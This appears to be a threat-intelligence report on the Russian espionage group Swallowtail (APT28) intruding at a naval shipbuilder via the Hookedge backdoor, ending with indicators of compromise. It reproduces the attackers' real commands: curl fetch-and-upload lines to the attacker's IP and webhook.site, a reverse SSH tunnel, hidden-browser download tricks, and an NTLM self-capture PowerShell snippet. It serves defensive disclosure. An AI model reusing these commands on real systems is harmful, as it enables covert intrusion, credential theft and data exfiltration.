Swallowtail: Russian Espionage Group Targets Defense Firms in Two NATO Countries

• Swallowtail (aka APT28, Fancy Bear, Forest Blizzard), a Russian espionage group, targeted organizations in two NATO member states, including a law enforcement agency, a naval shipbuilder, and a manufacturer of military aircraft engines.
• In the attack against the naval shipbuilder, the attackers used the Hookedge backdoor to reach deeper into the network during an intrusion that lasted at least two months. They stole credentials and opened a persistent SSH tunnel from their own server into the shipbuilder's internal network. 
• The attackers deployed a previously undocumented loader, ld.exe, which decrypts its payload and runs it in memory. The encrypted payload will not fire without a key supplied only at runtime. 

Russian espionage group Swallowtail (aka APT28, Fancy Bear, Forest Blizzard) targeted organizations in two NATO member states, including a law enforcement agency, a naval shipbuilder and a manufacturer of military aircraft engines. All three targets were likely to hold information of direct interest to a foreign intelligence service.

During one attack, against the naval shipbuilder, operators returned to a compromised host repeatedly over the course of a week in what appeared to be hands-on-keyboard activity. They stole credential material using two separate techniques, opened a persistent SSH tunnel into the organization's internal network and deployed a previously undocumented reflective loader. 

Swallowtail is a long-running Russian cyberespionage group. According to the U.S. government, the group is a unit of Russia's military intelligence agency GRU. The group primarily targets military, defense, and government targets in Europe and North America. It came into the public spotlight in 2016 when it was linked to the attack on the Democratic National Committee (DNC) prior to the U.S. presidential election.

Targeting

The Hookedge backdoor used in these attacks was first documented by Recorded Future's Insikt Group, which tracks the group as BlueDelta, in August 2026. 

Symantec’s Threat Hunter Team identified Hookedge activity against organizations in two NATO member states, spanning a law enforcement agency, an aerospace engine manufacturer and a naval shipbuilder. The common thread across these targets is their relevance to national security and defense policy. 

Tooling and tradecraft

Hookedge is delivered through macro-enabled Word documents and communicates entirely through the webhook.site service, using it to stage tasks and to receive their output. Infected hosts fetch tasks using a hidden, off-screen instance of the Microsoft Edge browser rather than a conventional downloader.

At the target where the Threat Hunter Team discovered the most extensive follow-up activity, a second-stage Hookedge component abandoned webhook.site in favor of a dedicated IP address operated by the attackers, used for both tasking and exfiltration. 

The attackers used two distinct credential-theft techniques. In one, they pushed an SSH private key onto the compromised host and immediately used it to open an SSH connection back to their own server, requesting a persistent, backgrounded tunnel that would give them a route from their infrastructure into the target's internal network. 

In the other, they ran a short, self-contained PowerShell script that stands up a listener on the host's own loopback address and forces the machine to authenticate to it, capturing the resulting NTLM handshake. Both techniques are detailed in the attack chain below.

An undocumented reflective loader

The attackers also deployed a previously undocumented tool (file name: ld.exe). It is a reflective loader, run with an encrypted file and a decryption key supplied as command-line arguments. It decrypts the file in memory and calls an exported function named ExecuteLoader. Threat Hunter recovered the specific key and encrypted-payload filename used in one execution of this tool, but the payload itself was not recovered, so its ultimate function is unknown.

Attack chain: Intrusion against a naval shipbuilder

In the attack against the naval shipbuilder, the initial infection vector was a malicious Word document, which served as the dropper for the Hookedge backdoor. On the afternoon of July 24, 2026, the document was opened directly from the Outlook attachment cache, confirming it arrived as a received email attachment.

The document contained a heavily obfuscated macro that split its VBA source and written strings into short fragments joined at runtime, a technique used to defeat static antivirus scanning. Once executed, the AutoOpen routine dropped four files into the user's profile to initiate the Hookedge infection chain: a VBScript launcher, an HTML/XHTML pair designed to auto-submit a hidden form to a webhook endpoint as soon as it loaded, and a batch script.

The batch script first killed any running instance of the Microsoft Edge browser and deleted stale download artefacts, then launched a new, effectively invisible Edge window sized to a single pixel and positioned off-screen, passing it an inline, base64-encoded JavaScript payload rather than a URL:

taskkill /f /im msedge.exe
del /q /f "%userprofile%\Downloads\*.000"
del /q /f "%userprofile%\Downloads\*.tmp"
del /q /f "%userprofile%\Downloads\*.crdownload"
start "" msedge.exe --window-size=1,1 --window-position=10000,10000 --ignore-certificate-errors "data:text/html;base64,<encoded JavaScript>" 

Decoded, the JavaScript simply fetched a resource from a webhook.site endpoint and forced the hidden browser to save the response to disk under the same identifier, using the browser itself as an HTTP client rather than a conventional downloader:

fetch('https://webhook.site/890efd8d-6e9e-428a-bcf9-987745d71000')
   .then(r => r.blob())
   .then(blob => { /* save as 890efd8d-....000 via an auto-clicked <a download> link */ })

After a short pause the batch script located the downloaded file, copied its contents into a new .cmd file, executed it, and uploaded the output back to the same webhook endpoint before deleting the temporary files. This is the delivery-and-callback loop that both requests instructions from a webhook.site endpoint and separately reports the results of running them.

The downloaded task, run a couple of minutes after the document was opened, was a single large reconnaissance batch. It began with a canary request to the same webhook.site endpoint, then probed outbound connectivity to a set of well-known cloud services and a hard-coded IP address:

curl http://webhook.site/890efd8d-6e9e-428a-bcf9-987745d71000
curl -k https://dl.dropboxusercontent.com | find /i "<title>"
curl -k https://accounts.google.com | find /i "<title>"
curl -k https://login.microsoftonline.com
curl -k https://mega.nz/file | find /i "<title>"
curl -k https://example.com
curl http://example.com
curl http://23.220.75.245

It then queried the host's proxy and WPAD configuration, before running a standard discovery sweep: the current logged-on sessions, full IP configuration, system information, running processes, and directory listings of the user's profile, Downloads, Desktop, Documents and both Program Files folders. Probing reachability to Dropbox, Google, Microsoft's login portal and Mega alongside a bare IP address suggests the attackers were checking which outbound channels were available to them on this network. This was possibly a precursor to choosing where to stage further payloads or exfiltrate data, before deciding whether the host was worth escalating against.

There was then a gap of about three days. On the morning of July 27, a new copy of the same generic Hookedge VBS launcher appeared under a fresh, randomly generated filename but with the same file hash as before. This was followed shortly afterwards by a second, more capable batch script. Unlike the first stage, this script fetched its next task directly from a hard-coded IP address rather than from webhook.site:

set outfile=<random>.cmd
curl -k -o %outfile% https://185.82.218.119:443/53379b62-8020-41cf-af57-effa6e1e8506
start 53379b62-8020-41cf-af57-effa6e1e8506.vbs %outfile%

From this point on, every task fetched from that IP address arrived wrapped in the same short template: a POST to the operators' server acknowledging receipt, the operator's actual command running with its output captured to a file, that file uploaded back to the same server, and the temporary files deleted:

chcp 65001
curl -k -X POST https://185.82.218.119:443/53379b62-8020-41cf-af57-effa6e1e8506 -d "del %0" (<command> echo 53379b62-8020-41cf-af57-effa6e1e8506) >> <random-output-file> 2>&1
curl -k --data-binary @<random-output-file> -H "Content-Type: text/plain; charset=utf-8" https://185.82.218.119:443/5b73dc69-d765-4440-a4d2-e9eb33283eb9 del /q /f 5b73dc69-d765-4440-a4d2-e9eb33283eb9*

The identifier 53379b62 names the second-stage installer and its scheduled task, while 5b73dc69 identifies the command-and-control session used to fetch each individual task and upload its result. Over the following 30 seconds, seven tasks were issued in quick succession, each one arriving, executing and reporting back within two-to-eight seconds of the last, a cadence consistent with an operator working interactively rather than a fixed polling timer. The first was a simple identity check:

whoami

The next set of commands moved straight into credential-material staging. The operators had a file pushed down through the same fetch-and-rename pattern used for tasking. This file was renamed to id_rsa once downloaded, and then adjusted its permissions on a named local account before listing the directory to confirm the change had taken effect:

curl -k -o <file> https://185.82.218.119:443/5b73dc69-... 
ren <file> id_rsa 
dir C:\ProgramData
icacls C:\ProgramData\Adobe\id_rsa /setowner "<domain>\<user>" 
echo Y|cacls C:\ProgramData\Adobe\id_rsa /G "<domain>\<user>:F"

With that private key in place, the operators immediately used it to open an outbound SSH connection to their own server, disabling host-key checking and forcing legacy RSA algorithms so the connection would succeed regardless of the target's default SSH client configuration:

C:\Windows\System32\OpenSSH\ssh.exe -i C:\ProgramData\Adobe\id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -p 80 root@185.82.218.119 -R 185.82.218.119:48097 -Nf

The -R flag requests a remote port forward back through the tunnel to the operators' own server, the bare port number (rather than a host:port pair) requests a dynamic, SOCKS-style forward; -N means the session carries no interactive shell, only the forward; and -f backgrounds the process once authentication succeeds. Together this establishes a persistent, backgrounded tunnel that gives the operators a route from their own infrastructure back into the target's internal network through the compromised host, rather than a one-off remote-access session. A DNS lookup of another internal hostname followed immediately afterwards, suggesting the tunnel was being used, or tested, for reconnaissance of the internal network almost as soon as it came up.

A few hours later, the operators ran a ping and a DNS lookup against one further internal hostname, then a ping against a second, continuing to map out names on the target's internal network.

Following this, the operators deployed a credential-theft technique distinct from the SSH tunnel: a PowerShell script that stands up a fake web server on the loopback address and forces the host to authenticate to itself over SMB, in order to capture the resulting NTLM handshake.

$listener = New-Object System.Net.HttpListener $listener.Prefixes.Add('http://localhost:8080/')
$listener.Start()
Start-Job -ScriptBlock { net use f: \\localhost@8080\c$ }
while ($true) {     
    # respond 401 + WWW-Authenticate: NTLM, capture up to 4 Authorization headers }

The script pre-built a fixed NTLM Type-2 challenge, then relied on the `net use` command in the background job to make the local machine authenticate to its own listener over what looks like an SMB-over-HTTP share. Each such NTLM handshake yields an NTLMv2 challenge/response pair; from that pair an attacker can attempt offline cracking of the current user's or machine account's password hash, or relay it to authenticate to another host on the network as that account. The script was configured to capture up to four authentication attempts before stopping. This is a self-capture technique in the same family as tools like Responder or ntlmrelayx, implemented here as a short, self-contained PowerShell script rather than a purpose-built credential-theft binary.

Immediately afterwards, the operators looked up a third internal hostname, then ran a short privilege and group-membership check:

whoami /all
net groups
net group Administrators ipconfig /all

The next day, July 28, the operators resumed activity with DNS lookups of two more internal hostnames, one of which appeared from its name to be a mail server, followed by a combined inventory command covering the host's general configuration, running processes and installed patches:

systeminfo && tasklist && wmic qfe get HotFixID InstalledOn Description

A few hours later, the operators killed the ssh.exe process:

taskkill /f /t /im ssh.exe

This ended the tunnel established the day before; whether it was closed as routine operational hygiene, to rotate to a fresh session, or because the tunnel was no longer needed at that point is not clear from the available data.

Beaconing to the same command-and-control session continued through July 29 and into the morning of July 31, in short bursts every few hours, without any further distinct commands appearing in the available data until the morning of July 31. At that point the operators pushed down two more files through the same fetch-and-rename pattern used for the SSH key: one renamed to ld.exe, the other to Events.dat.

curl -k -o <file> https://185.82.218.119:443/...
ren <file> ld.exe 
curl -k -o <file> https://185.82.218.119:443/...
ren <file> Events.dat

ld.exe (SHA256: f1cc91e7427a22027f65d31bbee19c54b602d08d7d93e4745b9cea59fa8132ff) had in fact already been staged on the host from the previous afternoon. It was then run directly, with both its decryption key and the path to the encrypted file supplied as command-line arguments:

C:\ProgramData\ld.exe DE063CF3F2E2A83E7B1A277C052A340E C:\ProgramData\Events.dat

Analysis of ld.exe found it to be a reflective loader: it takes an encrypted file and a key as arguments, decrypts the file in memory, and calls an exported function named ExecuteLoader. The decrypted content begins with the four-byte marker ADSA (0x41534441). Events.dat, the specific encrypted file supplied in this run, was not recovered, so what it ultimately decrypts to and executes is unknown. The command line does, however, resolve two things that were previously open questions: the name of the encrypted payload file and the decryption key used to unlock it on this host.

The burst closed with one further identity check:

net user

This is the last distinct operator command present in the available data. The infrastructure itself, however, remained active well beyond this point: the same ld.exe hash and the same generic VBS launcher were both still present on the host roughly four weeks later, in late August, and the launcher was observed once more on September 24, the most recent activity. Whether this reflects the original scheduled task continuing to fire and simply finding no new tasking most of the time, or renewed operator interest at those later dates, cannot be determined from the data available.

Broad campaign targeting governments and defense

The targeting in this campaign spans two NATO member states and three distinct sectors of national security relevance: law enforcement, defense manufacturing and shipbuilding. That breadth, combined with the timing identified in Recorded Future's report, is consistent with a collection effort tasked broadly against European government and defense targets rather than a single focused operation.

The tradecraft observed after initial access, credential theft through two independent techniques, a persistent network tunnel, and a previously undocumented loader, goes beyond the delivery mechanism that has so far been publicly reported on this campaign.

Organizations that identify Hookedge indicators in their environment should treat the intrusion as potentially ongoing rather than concluded and should look for the credential-theft and tunneling activity described here rather than assuming the backdoor's installation was the extent of the attackers' activity.

Protection

If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.

Indicators of Compromise

File indicators

4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303 – Hookedge dropper

e068794cf43e381b26c82d746cca107b9f84327a2a8308d5b87ea5529963c4c8 – Hookedge dropper

e8be50171436550e1edd8b4946d2adc0870e97465f67526ea252bff0815abcbe – Hookedge dropper

60ef547ebd2f4252e286db762980481b0da23dcd2c84465509735544c0a9c2b3 – Hookedge dropper

1bb1b27e1695c726c7c1d3d4935f9318afc6f5fd9015d7cf3890f0eb7bf8d47e – Hookedge dropper

a3b44405112e6364447e5d96630edfabcf81e5ad37d690c3ebc73770d62aeabd – Hookedge dropper

6678049918dda2d5859de0a95e0573fec9496c62bbe72967ae0d3deeb5bda68f – Hookedge dropper

c2c9187033d22d7944ea9298461a0ac693ef2774b4ce08b0955d2aba3646fb44 – Hookedge dropper

ea525336b787c2fd3dbc4b3e9a3a78f71004e1bd43e2e1ed953edad51118cb72 – Hookedge dropper

5709e5e1496410d4b9ac5a3bd8be3ec4595f881b4865ebf6e490784b56105645 – Hookedge dropper

49e276498fc4e7d65ebf9fa2acf64ec2a0c25e75ac621cd6a203d64fb75aa495 – Hookedge dropper

39d21c1b8ab2f08c75a1cb7d18433a8b207c71ec1d266bb049b54b7eaf01d67b – Hookedge dropper

1bff55104206d3f55cd72ca58ffecd2fa620a428c5a3c6987d3c4cc68285d335 – Hookedge dropper

e94402a9886d4433ccad0ced0cd4f22d055d1f0f7e4155dbec992433eb94e00c – Hookedge dropper

2fceca3460a35eea2b21c47d73c27c27edae95d2ae29ffb4ec2222d1a223b4bd – Hookedge dropper

68613e232d0893e61ad29906daee2312bd4c4e940f4d0c9e702e7c35a256d0f7 – Hookedge dropper

a92413d4951a28822ec85e5c0d1948d4160b91388c5f3d86504611fc286a4d13 – Hookedge dropper

063930af6a4aad06d8f8aab43226bf6dcddd2c79aa505894ee95876cf9254543 – Hookedge VBS launcher

d74c65e6d35d3b2a80686f059590f919316ecaf4ed539192e904d675ba5c7a40 – Hookedge VBS launcher

aafbc096e20f259df9166f837d0baf7333f177e6f383ca7cb9215936ecbe7f5e – Hookedge VBS launcher

f1cc91e7427a22027f65d31bbee19c54b602d08d7d93e4745b9cea59fa8132ff – ld.exe – reflective loader

Network IOCs

185.82.218[.]119

hxxps://webhook[.]site/890efd8d-6e9e-428a-bcf9-987745d71000

hxxps://webhook[.]site/53379b62-8020-41cf-af57-effa6e1e8506

hxxps://webhook[.]site/5b73dc69-d765-4440-a4d2-e9eb33283eb9

hxxps://webhook[.]site/d828b9fc-5435-4b1c-881f-d6350c11d0b6

hxxps://webhook[.]site/ca3c058e-3c88-449b-8299-822cd5d5e17c